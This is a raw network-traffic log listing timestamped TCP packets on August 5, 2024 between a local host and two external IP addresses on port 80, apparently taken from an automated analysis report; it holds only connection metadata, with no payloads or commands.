Aug 5, 2024 11:59:15.122879982 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.122912884 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.123085976 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.123132944 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.123182058 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.123224974 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.123235941 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.123245955 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.123270988 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.123442888 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.123491049 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.123492002 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.123503923 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.123541117 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.123570919 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.123583078 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.123591900 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.123610020 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.123620033 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.123652935 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.124079943 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.124092102 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.124104023 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.124109983 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.124140024 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.124150991 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.176327944 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.457649946 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.457696915 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.457715988 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.457734108 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.457753897 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.457784891 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.457804918 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.457806110 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.457839012 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.457840919 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.457856894 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.457866907 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.457874060 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.457905054 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.457917929 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.457936049 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.457950115 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.457959890 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.457966089 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.457986116 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.457998037 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.458028078 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.458028078 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.458040953 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.458058119 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.458081961 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.458786964 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.458798885 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.458808899 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.458828926 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.458841085 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.458862066 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.458878040 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.458892107 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.458903074 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.458913088 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.458925962 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.458936930 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.458937883 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.458949089 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.458975077 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.459650993 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.504486084 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.783528090 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.783544064 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.783601999 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.783695936 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.783766031 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.783796072 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.783813000 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.783823967 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.783830881 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.783835888 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.783848047 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.783849955 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.783875942 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.783899069 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.783910036 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.783919096 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.783929110 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.783946991 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.783966064 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.784517050 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.784535885 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.784564018 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.784571886 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.784575939 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.784588099 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.784598112 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.784609079 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.784617901 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.784631014 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.784643888 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.784657001 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.785124063 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.785135984 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.785171032 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.785175085 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.785181999 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.785192966 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.785202980 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.785214901 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.785218000 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.785250902 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.785263062 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.785274029 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.785274982 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.785284996 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.785295963 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.785315990 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.785329103 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:15.786034107 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.786173105 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:15.786222935 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:16.063891888 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.063929081 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.063954115 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.063971996 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.063987970 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.063997984 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.064003944 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.064007044 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:16.064018965 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.064029932 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.064039946 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.064052105 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.064058065 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:16.064089060 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:16.064492941 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.064543962 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:16.064577103 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.064588070 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.064598083 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.064609051 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.064620018 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.064625978 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:16.064650059 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:16.065131903 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.065148115 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.065156937 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.065184116 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:16.065202951 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:16.065203905 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.065215111 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.065223932 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.065232992 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.065253019 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:16.065274954 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:16.065285921 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.065295935 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.065305948 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.065315962 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.065335989 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:16.065351963 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:16.065948009 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.065958977 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.065967083 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.065999985 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:16.066025019 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.066035986 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.066044092 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.066054106 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.066066980 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:16.066077948 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:16.113812923 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:16.376885891 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.376919985 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.376930952 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.376943111 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.376955986 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.376962900 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:16.376996040 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:16.377032042 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.377065897 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.377077103 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:16.377084970 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.377115965 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:16.377172947 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.377185106 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.377194881 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.377203941 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.377226114 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:16.377242088 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:16.377264023 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:16.384967089 CEST	80	49732	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.385015965 CEST	49732	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:16.962064028 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:16.967092991 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:16.967176914 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:16.967391014 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:16.972201109 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.162801981 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.162826061 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.162834883 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.162854910 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.162866116 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.162878036 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.162889957 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.162900925 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.162915945 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.162925005 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.162925959 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:18.163014889 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:18.163388968 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.168000937 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.168026924 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.168039083 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.168061018 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:18.168095112 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:18.414000988 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.414021015 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.414031982 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.414047956 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.414061069 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.414072037 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:18.414125919 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:18.414457083 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.414480925 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.414499998 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.414508104 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:18.414510965 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.414521933 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.414551020 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:18.414577007 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:18.415220022 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.415230989 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.415241003 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.415306091 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.415309906 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:18.415318012 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.415352106 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:18.457565069 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:18.742224932 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.742248058 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.742265940 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.742278099 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.742290020 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.742301941 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.742357969 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:18.742414951 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:18.742527962 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.742638111 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.742650032 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.742661953 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.742686033 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:18.742702961 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:18.742733002 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.742746115 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.742785931 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:18.743473053 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.743484020 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.743496895 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.743510962 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.743520975 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.743530035 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:18.743535042 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.743568897 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:18.743593931 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:18.744410992 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:18.785784960 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:18.800088882 CEST	80	49733	8.212.11.147	192.168.2.5
Aug 5, 2024 11:59:18.801651001 CEST	49733	80	192.168.2.5	8.212.11.147
Aug 5, 2024 11:59:18.801974058 CEST	49733	80	192.168.2.5	8.212.11.147
Aug 5, 2024 11:59:18.809237957 CEST	80	49733	8.212.11.147	192.168.2.5
Aug 5, 2024 11:59:19.032181978 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.032197952 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.032208920 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.032219887 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.032229900 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.032248974 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.032260895 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.032285929 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.032340050 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.032519102 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.032530069 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.032540083 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.032572985 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.032605886 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.032783985 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.032795906 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.032807112 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.032835960 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.032840967 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.032859087 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.032895088 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.032955885 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.032968044 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.033011913 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.033780098 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.033797026 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.033813000 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.033823967 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.033837080 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.033847094 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.033875942 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.033900023 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.364032030 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.364046097 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.364058018 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.364090919 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.364105940 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.364161015 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.364190102 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.364201069 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.364213943 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.364229918 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.364260912 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.364284992 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.364624023 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.364644051 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.364655972 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.364691019 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.364731073 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.364742994 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.364753008 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.364775896 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.364803076 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.365469933 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.365483046 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.365488052 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.365503073 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.365514994 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.365534067 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.365576029 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.365597963 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.365608931 CEST	80	49734	27.221.16.149	192.168.2.5
